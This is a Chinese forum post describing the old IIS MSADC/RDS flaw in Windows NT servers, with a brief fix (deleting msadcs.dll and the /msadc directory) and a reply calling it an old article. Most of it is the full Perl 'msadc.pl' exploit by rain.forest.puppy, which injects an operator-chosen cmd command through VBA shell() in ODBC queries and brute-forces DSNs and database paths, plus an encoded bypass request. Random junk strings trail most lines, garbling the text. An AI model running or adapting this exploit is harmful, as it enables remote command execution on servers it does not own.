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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 6ez<g Uf  
0aa&m[Mk  
涉及程序: 5vZ^0yFQ  
Microsoft NT server &;sP_ h  
ce3YCflt  
描述: gH7|=W  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 WoRZW%  
N;j)k;  
详细: s1=G;  
如果你没有时间读详细内容的话,就删除: &<U0ZvrsH  
c:\Program Files\Common Files\System\Msadc\msadcs.dll -FQ 'agf@&  
有关的安全问题就没有了。 )Z?Ym.0/  
#@~+HC=  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 B[-v[K2  
*zL}&RUKM  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 oVe|M ss6  
关于利用ODBC远程漏洞的描述,请参看: Zt.|oYH$  
K_ ~"}  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^ tg<K  
wInh~p  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 %vhnl'  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Z//+Gw<'  
sAD}#Zw$  
这里不再论述。 |CZ@te)>  
r_6ZO&  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Mz~D#6=  
6U,O*WJ%e  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset dl@%`E48w  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ouFYvtFg  
]cMqahaY  
f-n1I^|  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 7.#F,Ue_0T  
R1GEh&U{  
#!perl 4X |(5q?  
# os={PQRD  
# MSADC/RDS 'usage' (aka exploit) script g($DdKc|g  
# }$Tl ?BRpU  
# by rain.forest.puppy W_8wed:b  
# {|:;]T"y  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 'd$P`Vw:  
# beta test and find errors! &3Sz je  
nd1+"-,q  
use Socket; use Getopt::Std; .1Al<OLL  
getopts("e:vd:h:XR", \%args); Ix=}+K/  
&wCg\j_c  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; K[r^'P5m  
>X4u]>X  
if (!defined $args{h} && !defined $args{R}) { b@f$nS B  
print qq~ '*w00  
Usage: msadc.pl -h <host> { -d <delay> -X -v } k$J zH$  
-h <host> = host you want to scan (ip or domain) OAkZKG|  
-d <seconds> = delay between calls, default 1 second ~h85BF5  
-X = dump Index Server path table, if available (#RHB`h5  
-v = verbose QYjsDL><  
-e = external dictionary file for step 5 <Fc;_GG  
(ECnM ti+  
Or a -R will resume a command session ^ xh;  
LNpup`>`  
~; exit;} #32"=MfQn  
%<*g!y `  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; HbA kZP  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 0ANZAX5  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} kZZh"#W: L  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); cm[&?  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Dq5j1m.  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } FrYqaP  
p@5`& Em,  
if (!defined $args{R}){ $ret = &has_msadc; vchm"p?9)  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} uPG4V2  
2fR02={-  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 2Mmz%S'd  
. "cmd /c "; YSh+pr  
$in=<STDIN>; chomp $in; 5$&%re!{Z  
$command="cmd /c " . $in ; G]i/nB  
s<_)$}  
if (defined $args{R}) {&load; exit;} }O^zl#  
K]0:?h;%Ld  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; f[a}aZ9)  
&try_btcustmr; ahOMCZF|  
,Pjew%  
print "\nStep 2: Trying to make our own DSN..."; *q".-u!D[  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; <|+Ex  
$yYO_ZBiy  
print "\nStep 3: Trying known DSNs..."; db6b-Y{   
&known_dsn; e<h~o!z a  
K4;'/cS  
print "\nStep 4: Trying known .mdbs..."; I}6\Sv=  
&known_mdb; t&CJ% XP  
gy0haW   
if (defined $args{e}){ Vz)`nmO}5\  
print "\nStep 5: Trying dictionary of DSN names..."; #Xb+`'  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } & <J[Q%2  
WIf0z#JMJm  
print "Sorry Charley...maybe next time?\n"; %_L\z*+  
exit; /8g^T")  
 Q&g^c2  
############################################################################## d%,eZXg'  
WKIoS"?-F  
sub sendraw { # ripped and modded from whisker tj4VWJK  
sleep($delay); # it's a DoS on the server! At least on mine... U($dx.`v#  
my ($pstr)=@_; {(wHPzq  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ac.Ms(D  
die("Socket problems\n"); pxf$ 1  
if(connect(S,pack "SnA4x8",2,80,$target)){ mfo1+owT  
select(S); $|=1; y_IM@)1H~  
print $pstr; my @in=<S>; _/!y)&4"  
select(STDOUT); close(S); ;z:UN}  
return @in; ?zVL;gVWA  
} else { die("Can't connect...\n"); }} f[~L?B;_L  
;)e2 @'Agl  
############################################################################## D-(w_$#  
(egzH?  
sub make_header { # make the HTTP request $UCAhG$  
my $msadc=<<EOT \lC   
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 d'$T4yA  
User-Agent: ACTIVEDATA Z->p1xkX  
Host: $ip *2Ht &  
Content-Length: $clen rZ^v?4Z\  
Connection: Keep-Alive Dzs[GAQ]  
YY!6/5*/]  
ADCClientVersion:01.06 \y)  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 J@X'PG< 6B  
";Rtiiu  
--!ADM!ROX!YOUR!WORLD! $8[r9L!  
Content-Type: application/x-varg !PJ6%"  
Content-Length: $reqlen 78OIUNm`  
QC;^xG+W  
EOT W.0L:3<"  
; $msadc=~s/\n/\r\n/g; Ii_ojQP-z  
return $msadc;} nMvKTH  
{0^&SI"5`E  
############################################################################## GF%314Xu  
I{ :(z3  
sub make_req { # make the RDS request .j>hI="b  
my ($switch, $p1, $p2)=@_; /&{$ pM|?  
my $req=""; my $t1, $t2, $query, $dsn; )!:Lzi  
lBFMwJU)  
if ($switch==1){ # this is the btcustmr.mdb query ) ^3avRsC  
$query="Select * from Customers where City=" . make_shell(); hQHnwr  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ?0oUS+lU  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} mAW, ?h  
' n$ %Ls}S  
elsif ($switch==2){ # this is general make table query z;wELz1L{  
$query="create table AZZ (B int, C varchar(10))"; e=;AfK  
$dsn="$p1";} % v7[[U{T  
Zg`Mz _?  
elsif ($switch==3){ # this is general exploit table query S"k *6 U  
$query="select * from AZZ where C=" . make_shell(); 'hv k  
$dsn="$p1";} qt^T6+faaQ  
^=SD9V  
elsif ($switch==4){ # attempt to hork file info from index server 5-0{+R5v  
$query="select path from scope()"; jSuL5|Gui  
$dsn="Provider=MSIDXS;";} cEd+MCN  
9n5<]Q (  
elsif ($switch==5){ # bad query 2hQ>:  
$query="select"; B0!"A  
$dsn="$p1";} jDN ]3Y`  
`o?Ph&p}  
$t1= make_unicode($query); 1=a>f "cyf  
$t2= make_unicode($dsn); +_xOLiu  
$req = "\x02\x00\x03\x00"; YxinE`u~  
$req.= "\x08\x00" . pack ("S1", length($t1)); F]t (%{#W  
$req.= "\x00\x00" . $t1 ; pzgSg[|  
$req.= "\x08\x00" . pack ("S1", length($t2)); }~h(w^t  
$req.= "\x00\x00" . $t2 ; 'fNKlPMv4D  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; UNi`P9D]3  
return $req;} "0k8IVwp  
u% n*gcY  
############################################################################## b-*3 2Y%  
^ Dt#$Z  
sub make_shell { # this makes the shell() statement `TPOCxM Mo  
return "'|shell(\"$command\")|'";} \3jW~FV  
u=/CRjot  
############################################################################## pOkLb #  
*(>}Y  
sub make_unicode { # quick little function to convert to unicode dG71*)<)t  
my ($in)=@_; my $out; mA@Me7m}  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } P?]aWJ  
return $out;} {]]|5 \F  
BEgV^\u  
############################################################################## :C8$Xi_i}  
^T,Gu-2>  
sub rdo_success { # checks for RDO return success (this is kludge) H'UR8%  
my (@in) = @_; my $base=content_start(@in); dN}#2Bo =  
if($in[$base]=~/multipart\/mixed/){ Uyr3dN%*r  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} $4T2z-  
return 0;} p/ >`[I  
LW:LFzp  
############################################################################## ed_FiQd  
zb Z4|_  
sub make_dsn { # this makes a DSN for us 'vaLUy9]  
my @drives=("c","d","e","f"); {Pu\?Cq  
print "\nMaking DSN: "; wgRs Z  
foreach $drive (@drives) { T}=>C+3r  
print "$drive: "; 7 +@qB]Bi<  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . =}:)y0L  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" BMIyskl=i  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); e<#DdpX!H~  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; I;?X f  
return 0 if $2 eq "404"; # not found/doesn't exist y{a$y}7#X  
if($2 eq "200") { /Y2/!mU</  
foreach $line (@results) { F[!ckes<bB  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 3u\;j; Td!  
} return 0;} R1W}dRE}  
c$QX )V  
############################################################################## Vax^8 -  
5 VA(tzmCt  
sub verify_exists { q0bHB_|wL  
my ($page)=@_; !HJ$UG/\  
my @results=sendraw("GET $page HTTP/1.0\n\n"); )I-fU4?  
return $results[0];} 7 #=}:3c  
N8`4veVBx'  
############################################################################## DF{ Qw@P!  
P0-Fc@&Y  
sub try_btcustmr { x/ :4 {  
my @drives=("c","d","e","f"); ACK1@eF  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Zf>^4_x3P  
)*d W=r/$V  
foreach $dir (@dirs) { 9r2IuS0  
print "$dir -> "; # fun status so you can see progress $.489x+'Z  
foreach $drive (@drives) { xT)psM'CL  
print "$drive: "; # ditto <p?&udqD  
$reqlen=length( make_req(1,$drive,$dir) ) - 28;  X}6#II  
$reqlenlen=length( "$reqlen" ); *$M'`vj:  
$clen= 206 + $reqlenlen + $reqlen; [!VOw@uz  
U#o'H @  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 6R29$D|HFO  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 7.+#zyF  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 9=/N|m8.  
[;b=A  
############################################################################## kV Rn`n0  
/+3a n9h  
sub odbc_error { .M4IGOvOS  
my (@in)=@_; my $base; 5b6s4ZyV  
my $base = content_start(@in); Ih[+K#t+E  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Zzl,gy70  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 2`= 6%s  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :;!\vfZbU  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #DkD!dW(l  
return $in[$base+4].$in[$base+5].$in[$base+6];} ;bX4(CMe &  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; H2-28XGc  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .  oAZh~~tp  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} te4= S  
O8N[Jl  
############################################################################## ehAu^^Q>  
HZ*0QgW\(5  
sub verbose { vG2b:[W  
my ($in)=@_; <39!G7ny  
return if !$verbose; lKEa)KF[  
print STDOUT "\n$in\n";} (HN4g;{  
k,Zm GllQ]  
############################################################################## bO/*2oau  
Q:|w%L*E  
sub save { ; W7Y2Md  
my ($p1, $p2, $p3, $p4)=@_; ~mN% (w!^  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; %E27.$E_  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ".~{:=  
close OUT;} uC]Z8&+obb  
!)Rr] ~  
############################################################################## y$tX-9U  
n`;R pr&  
sub load { $'[q4wo<  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; y02 u?wJ  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); '?Iif#Z1  
@p=<IN>; close(IN); <V_7|)'/A  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); >AI<60/<  
$target= inet_aton($ip) || die("inet_aton problems"); *N/hc  
print "Resuming to $ip ..."; ad`_>lA4Lp  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Z#Lx_*p]Q  
if($p[1]==1) { 8Xm@r#Oy5  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; u=qPzmywt  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; H"+c)FGi  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); R.1Xst &i  
if (rdo_success(@results)){print "Success!\n";} M} .b" ljZ  
else { print "failed\n"; verbose(odbc_error(@results));}} 1=Ilej1  
elsif ($p[1]==3){ f8:$G.}i  
if(run_query("$p[3]")){ p`+VrcCBOd  
print "Success!\n";} else { print "failed\n"; }} uiBTnG"  
elsif ($p[1]==4){ I*1S/o_xI  
if(run_query($drvst . "$p[3]")){ :nQp.N*p  
print "Success!\n"; } else { print "failed\n"; }} RFG$X-.e  
exit;} qvLDfN  
C 7n Kk/r  
############################################################################## !g 0cC.'  
$<ddy/4  
sub create_table { GF--riyfB  
my ($in)=@_; U 0ZB^`  
$reqlen=length( make_req(2,$in,"") ) - 28; :LV.G0)#  
$reqlenlen=length( "$reqlen" ); Ls: =A6AGM  
$clen= 206 + $reqlenlen + $reqlen; ->yeJTsE9  
my @results=sendraw(make_header() . make_req(2,$in,"")); <4D%v"zRP  
return 1 if rdo_success(@results); hr U :Wr  
my $temp= odbc_error(@results); verbose($temp); X_70]^XL  
return 1 if $temp=~/Table 'AZZ' already exists/; sS,#0Qt.  
return 0;} R.7#zhC`4  
h}=M^SL  
############################################################################## \OHv|8!EI@  
$+:(f{Va*  
sub known_dsn { ` X+j2TmS  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go nN ~GP"}  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", [a8+(  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", GF R!n1Hv  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); mTEVFm  
K ~>jApZ%  
foreach $dSn (@dsns) { x9}++r  
print "."; cztS]dcf>~  
next if (!is_access("DSN=$dSn")); {of]/ 3=  
if(create_table("DSN=$dSn")){ 1-$P0  
print "$dSn successful\n"; kQ}s/*  
if(run_query("DSN=$dSn")){ /{G/|a  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { zeTszT)  
print "Something's borked. Use verbose next time\n";}}} print "\n";} OKQLv+q5K)  
aii'}c  
############################################################################## POBpJg  
piu0^vEEH  
sub is_access { B/Ba5z"r$  
my ($in)=@_; $'$>UFR  
$reqlen=length( make_req(5,$in,"") ) - 28; 0QR.   
$reqlenlen=length( "$reqlen" ); $GF&x>]]  
$clen= 206 + $reqlenlen + $reqlen; h3h8lt_ |  
my @results=sendraw(make_header() . make_req(5,$in,"")); MYTS3(  
my $temp= odbc_error(@results); kukaim>K  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); R]=SWE}U  
return 0;} 2k3 z'RLG  
[s %\.y(q  
############################################################################## _5h0@^m7y  
p#M!S2&z  
sub run_query { 3o7xN=N  
my ($in)=@_; 4qBY% 1  
$reqlen=length( make_req(3,$in,"") ) - 28; AijUs*n 2  
$reqlenlen=length( "$reqlen" ); :bw6k  
$clen= 206 + $reqlenlen + $reqlen; B*Cb6'Q  
my @results=sendraw(make_header() . make_req(3,$in,"")); 4sd-zl$Of  
return 1 if rdo_success(@results); U$$3'n  
my $temp= odbc_error(@results); verbose($temp); O<a3DyUa;  
return 0;} S&|VkZR)  
AJWLEc4XK  
############################################################################## nCB[4  
36i_D6  
sub known_mdb { ]n1D1  
my @drives=("c","d","e","f","g"); 7xR|_+%~K  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Fc{((x s  
my $dir, $drive, $mdb; au A.6DQ  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; s7Qyfe&>  
J/gQQ. s  
# this is sparse, because I don't know of many 1Q_ ``.M  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 7 NUenCdc  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",  /Ef4EX0  
"\\system32\\certmdb.mdb", |QqWVelc  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% dAwS<5!  
wL'C1Vr  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", < [ w++F~  
"\\cfusion\\cfapps\\forums\\forums_.mdb", `^f}$R|  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 1G_xP^H!  
"\\cfusion\\cfapps\\security\\realm_.mdb", a}GAB@YI  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", N  I3(  
"\\cfusion\\database\\cfexamples.mdb", *e,CDV  
"\\cfusion\\database\\cfsnippets.mdb", YrKFa%k  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 5EfY9}dl  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", mN7&%Z  
"\\cfusion\\brighttiger\\database\\cleam.mdb", >2t cEz%  
"\\cfusion\\database\\smpolicy.mdb", DlS&qFs  
"\\cfusion\\database\cypress.mdb", Xi*SDy  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", %)dI2 J^Xf  
"\\website\\cgi-win\\dbsample.mdb", :3 PGf  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 7ozYq_ $  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" <M`-`v6H  
); #these are just "j +v,js  
foreach $drive (@drives) { Q+/R JM?3@  
foreach $dir (@dirs){ =G[ H,;W  
foreach $mdb (@sysmdbs) { [5-!d!a|st  
print "."; &?v#| qIh  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ {z-NlH  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; }7&\eV{qU  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ \c FAxL(  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; i~ROQMN1  
} else { print "Something's borked. Use verbose next time\n"; }}}}} taBO4LV  
3lyQn "  
foreach $drive (@drives) { x1:vUHwC  
foreach $mdb (@mdbs) { -D$3!ccX  
print "."; vFR 1UPF  
if(create_table($drv . $drive . $dir . $mdb)){ #[C< J#;  
print "\n" . $drive . $dir . $mdb . " successful\n"; d[yrNB6|  
if(run_query($drv . $drive . $dir . $mdb)){ r \9:<i8  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; i~(#S8U4d  
} else { print "Something's borked. Use verbose next time\n"; }}}} 69?I?,7  
} %pd5w~VP  
?#U0eb5u  
############################################################################## 0\QYf0o   
|@OJ~5H/{  
sub hork_idx { O&F< oM  
print "\nAttempting to dump Index Server tables...\n"; nO-d" S*  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 2}GKHC  
$reqlen=length( make_req(4,"","") ) - 28; G) jG!`I  
$reqlenlen=length( "$reqlen" ); [6oq##  
$clen= 206 + $reqlenlen + $reqlen; d!w1t=2H  
my @results=sendraw2(make_header() . make_req(4,"","")); 0%#t[us Y  
if (rdo_success(@results)){ ?i/73H+;D3  
my $max=@results; my $c; my %d; uFMs ^^#  
for($c=19; $c<$max; $c++){ a =9vS{  
$results[$c]=~s/\x00//g; T27:"LVw  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; K@y-)I2]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; J,MT^B  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; gjO *h3`  
$d{"$1$2"}="";} wYC9 ~ms-  
foreach $c (keys %d){ print "$c\n"; } g2!0vB>  
} else {print "Index server doesn't seem to be installed.\n"; }} x0y% \  
cvn-*Sj  
############################################################################## =H L9Z  
iM4mkCdOO  
sub dsn_dict { 7^`RP e^a+  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); YAX #O\,  
while(<IN>){ Y#GT*V  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; [>Ikitow  
next if (!is_access("DSN=$dSn")); LqMe'z  
if(create_table("DSN=$dSn")){ 7 _X&5ni  
print "$dSn successful\n"; #tCIuQ,  
if(run_query("DSN=$dSn")){ e OO!jrT:  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { YmdsI+DbIu  
print "Something's borked. Use verbose next time\n";}}} 2K5}3<KD/  
print "\n"; close(IN);} m>g}IX&K'  
o:p{^D@#k  
############################################################################## (D:KqGqoT  
tzx:*  
sub sendraw2 { # ripped and modded from whisker Rs`Vr_?Hk  
sleep($delay); # it's a DoS on the server! At least on mine... +>n. T  
my ($pstr)=@_; k*A4;Bm  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || k?!TjBKm  
die("Socket problems\n"); kO /~i  
if(connect(S,pack "SnA4x8",2,80,$target)){ H0 {Mlu9  
print "Connected. Getting data"; bWhJ^L D  
open(OUT,">raw.out"); my @in; bkJwPs  
select(S); $|=1; print $pstr; hhN(;.  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} P?-d[zLA  
close(OUT); select(STDOUT); close(S); return @in; 6nM rO$i0k  
} else { die("Can't connect...\n"); }} *g}vT8w'}  
d@_'P`%-  
############################################################################## h#$ _<U  
s0x@ u  
sub content_start { # this will take in the server headers kfH9Y%bOy  
my (@in)=@_; my $c; !NlB%cF  
for ($c=1;$c<500;$c++) { ]W89.><%14  
if($in[$c] =~/^\x0d\x0a/){ n=lggBRx  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } c80"8r  
else { return $c+1; }}} D N2hv2  
return -1;} # it should never get here actually KFCQYdI`d  
wWp?HDl"M  
############################################################################## RlG'|xaT  
.&aVx]  
sub funky { UHTb61Gs  
my (@in)=@_; my $error=odbc_error(@in); ~hxeD" w  
if($error=~/ADO could not find the specified provider/){ C.DoXE7  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; V>~*]N^f  
exit;} q>Dr)x)  
if($error=~/A Handler is required/){ TXY  
print "\nServer has custom handler filters (they most likely are patched)\n"; MVu[gB  
exit;} <v1_F;{n  
if($error=~/specified Handler has denied Access/){ EBN]>zz  
print "\nServer has custom handler filters (they most likely are patched)\n"; C.B8 J"T-  
exit;}} ;jpw"-J`  
$i5G7b  
############################################################################## s.k`];wo  
_rWTw+ L  
sub has_msadc { (7 ]\p  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); {Tjtj@-  
my $base=content_start(@results); *X"F:7  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 2n"*)3Qj  
return 0;} X.r!q1_c  
\`p|,j  
######################## X"]mR7k  
'6Rs0__  
z. Ve#~\  
解决方案: o =jX  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 5VY%o8xXa  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 `s|\" @2  
d3\l9R{}  
拿出来充数 哈哈
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